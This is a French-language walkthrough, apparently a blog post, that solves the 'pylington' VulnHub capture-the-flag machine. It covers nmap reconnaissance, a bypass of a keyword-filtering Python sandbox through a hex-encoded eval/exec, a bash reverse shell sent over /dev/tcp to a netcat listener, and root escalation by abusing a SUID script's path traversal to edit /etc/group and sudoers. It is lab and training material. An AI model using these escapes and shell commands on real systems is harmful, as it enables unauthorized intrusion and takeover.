Résolution du petit puzzle de la machine virtuelle pylington sur vulnhub

On scanne, on obtient

# Nmap 7.91 scan initiated Sun Jun 13 18:46:39 2021 as: nmap -sC -sV -oV 192.168.2.172
Nmap scan report for 192.168.2.172
Host is up (0.0040s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.5 (protocol 2.0)
| ssh-hostkey:
| 3072 bf:ba:23:4e:69:37:69:9f:23:ae:21:35:98:4d:39:fa (RSA)
| 256 ed:95:53:52:ef:70:1f:c0:0e:3c:d8:be:35:fc:3a:93 (ECDSA)
|_ 256 2d:b8:b0:88:52:83:7b:00:47:31:a4:76:2b:3d:7d:28 (ED25519)
80/tcp open http Apache httpd 2.4.46 ((Unix) mod_wsgi/4.7.1 Python/3.9)
|_http-generator: Jekyll v4.1.1
| http-methods:
|_ Potentially risky methods: TRACE
| http-robots.txt: 3 disallowed entries
|_/register /login /zbir7mn240soxhicso2z
|_http-server-header: Apache/2.4.46 (Unix) mod_wsgi/4.7.1 Python/3.9
|_http-title: Pylington Cloud | The best way to run Python.

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Jun 13 18:46:46 2021 — 1 IP address (1 host up) scanned in 6.86 seconds

On visite 192.168.2.172/zbir7mn240soxhicso2z

et obtient


Username: steve
Password: bvbkukHAeVxtjjVH

On arrive à un utilitaire “magique” pour exécuter du code. Mais celui enlève les fonctions de python open, system et


Welcome to the Super Secret Python IDE. Enter your Python 3 program in the first input box, and your program's standard input in the second input box.

This online IDE is protected with NoImportOS™, an unescapable™ sandbox. NoImportOS™ is secure because of its simplicity; it's only 9 lines of code (available here)

This way attackers won't be able to execute anything malicious :-)

Python has some interesting built-in functions ...

def check_if_safe(code: str) -> bool:
    if 'import' in code: # import is too dangerous
        return False
    elif 'os' in code: # os is too dangerous
        return False
    elif 'open' in code: # opening files is also too dangerous
        return False
    else:
        return True

à la lecture du code, il suffit de faire disparaître les mots import, os et open.

On encode comme ceci, car on ne peut pas simplement encoder “import os”, car ce n’est pas un statement valide pour eval. Il faut donc “exec” la phrase import.


exec("import os as gm") #importe le module OS pour l'exécution de la fonction "system" du OS par la suite.

On obtient en allant sur browserling.com/tools/utf8-encode


\x65\x78\x65\x63\x28\x22\x69\x6d\x70\x6f\x72\x74\x20\x6f\x73\x20\x61\x73\x20\x67\x6d\x22\x29

qu’il faut “eval” dans l’application magique


eval("\x65\x78\x65\x63\x28\x22\x69\x6d\x70\x6f\x72\x74\x20\x6f\x73\x20\x61\x73\x20\x67\x6d\x22\x29")

La commande “os.system” permet d’exécuter un shell et de se connecter sur notre listener netcat. Remarquez que j’ai importé le module os comme “gm” pour éviter d’avoir à encoder en utf8 et devoir utiliser eval chaque fois, car “os” n’est pas autorisé. gm pour Germain Malenfant.

On préalable sur l’attaquant.

 
nc -nlvp 2222

Deuxième ligne à ajouter dans l’application magique.


gm.system("/bin/bash
 -i >& /dev/tcp/192.168.2.119/2222 0>&1")

Il aurait été possible d’encoder en utf8 le code pour envoyer un shell dans le répertoire /tmp, mais je n’ai pas réussi à le faire exécuter par le serveur web. Il faudrait encoder le code


open("/tmp/shell.py","w")


et par la suite

 f=eval("...") .
 f.write(shellcode) # pas besoin d'encoder : le mot write est permis

On obtient le mot de passe facilement dans le home de py. on se loggue avec py et le mot de passe. par la suite, on trouve secret_stuff et un script avec les droits suid qui peut seulement ajouter une ligne dans un fichier ayant un nom commençant pas “/srv/backups” . on s’ajoute dans le groupe root à la fin du fichier /srv/backups/../../etc/group


root:x:0:py

on se reconnecte. On peut lire la solution dans le /root car la solution est lisible en raison des droits d’accès donnés au groupe root.

On s’ajoute dans le sudoers avec le script


py ALL=(ALL:ALL) ALL

on devient administrateur


sudo su
</su>

Leave a Reply